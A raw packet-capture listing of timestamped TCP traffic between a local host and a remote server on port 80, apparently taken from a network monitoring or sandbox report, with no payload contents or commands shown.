Dec 19, 2024 14:10:27.948937893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.948992014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.027693033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.027746916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.027761936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.027810097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.029977083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.030025005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.030030966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.030092001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.034425974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.034490108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.034507036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.034559011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.038815975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.038873911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.038896084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.038949013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.054495096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.054538012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.054553032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.054589033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.056190014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.056236982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.056276083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.056330919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.059691906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.059748888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.059827089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.059878111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.063216925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.063272953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.063330889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.063385010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.066709995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.066777945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.066802025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.066853046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.069993019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.070049047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.070116043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.070162058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.073338985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.073405981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.073446989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.073499918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.076666117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.076723099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.076795101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.076848984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.079834938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.079910994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.079948902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.079981089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.082981110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.083044052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.083106995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.083163977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.086185932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.086298943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.086471081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.086519003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.089422941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.089473009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.089622974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.089672089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.092660904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.092709064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.092747927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.092797041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.095874071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.095927954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.096009970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.096056938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.099123955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.099169970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.099224091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.099267006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.102319956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.102364063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.102374077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.102416992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.105531931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.105577946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.105607986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.105653048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.108921051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.108959913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.108973980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.109004974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.111984968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.112039089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.112046957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.112076998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.115288019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.115345955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.115350962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.115396023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.118428946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.118498087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.118520975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.118572950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.121644020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.121711016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.121861935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.121916056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.124958038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.125016928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.125051975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.125099897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.128103971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.128154993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.128184080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.128228903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.131459951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.131514072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.131596088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.131648064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.134524107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.134573936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.134627104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.134680986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.137856007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.137906075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.137937069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.137978077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.140985966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.141036034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.141043901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.141084909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.231909037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.231985092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.232089996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.232090950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.233184099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.233247995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.233323097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.233376026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.235764980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.235824108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.235903025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.235965014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.238117933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.238178968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.238365889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.238421917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.240472078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.240531921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.240552902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.240626097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.242973089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.243032932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.243055105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.243108034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.245382071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.245436907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.245532036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.245588064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.247682095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.247742891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.248058081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.248112917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.248153925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.248209000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.250344038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.250401020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.250458002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.250514984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.252633095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.252686024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.252727032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.252778053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.255047083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.255103111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.255215883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.255280972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.257298946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.257352114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.257374048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.257425070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.259355068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.259407997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.259452105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.259505033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.261476994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.261529922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.261617899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.261671066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.263719082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.263776064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.263789892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.263837099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.265805006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.265853882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.265929937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.265980005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.267896891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.267945051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.267972946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.268030882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.270004034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.270054102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.270136118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.270183086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.272160053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.272217989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.272299051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.272347927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.274379969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.274405003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.274446964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.274446964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.276329041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.276387930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.276407003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.276460886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.278476954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.278529882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.278559923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.278613091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.280478954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.280561924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.280647993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.280704975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.282711029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.282759905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.282866955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.282921076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.284694910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.284743071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.284791946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.284866095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.286787987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.286842108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.286911011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.286957979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.288927078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.288980961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.289069891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.289124012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.291003942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.291047096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.291104078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.291167021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.293097019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.293143988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.293220043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.293282032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.295206070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.295259953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.295324087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.295381069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.297293901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.297341108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.297350883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.297384024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.299397945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.299475908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.299516916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.299565077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.301503897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.301553011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.301631927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.301683903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.303603888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.303661108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.303754091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.303807020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.305731058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.305789948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.305927038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.305982113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.307822943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.307878017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.307912111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.307962894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.309919119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.309972048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.310008049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.310060024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.312043905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.312097073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.312191010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.312244892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.314131975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.314191103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.314263105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.314313889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.316231012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.316283941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.316323042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.316378117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.318320990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.318368912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.318418980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.318466902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.320585012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.320640087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.320730925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.320785046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.322520018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.322582960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.322650909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.322702885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.324892998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.324945927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.325035095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.325090885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.326950073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.327002048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.327124119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.327171087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.328906059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.328950882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.328959942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.329000950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.330957890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.331020117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.331085920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.331149101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.333028078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.333045959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.333086014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.333117008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.335139036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.335197926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.335216999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.335266113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.337270021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.337326050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.337394953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.337444067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.339360952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.339418888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.339543104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.339596033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.341439962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.341491938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.341547012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.341598034 CET	49800	80	192.168.2.4	31.41.244.11
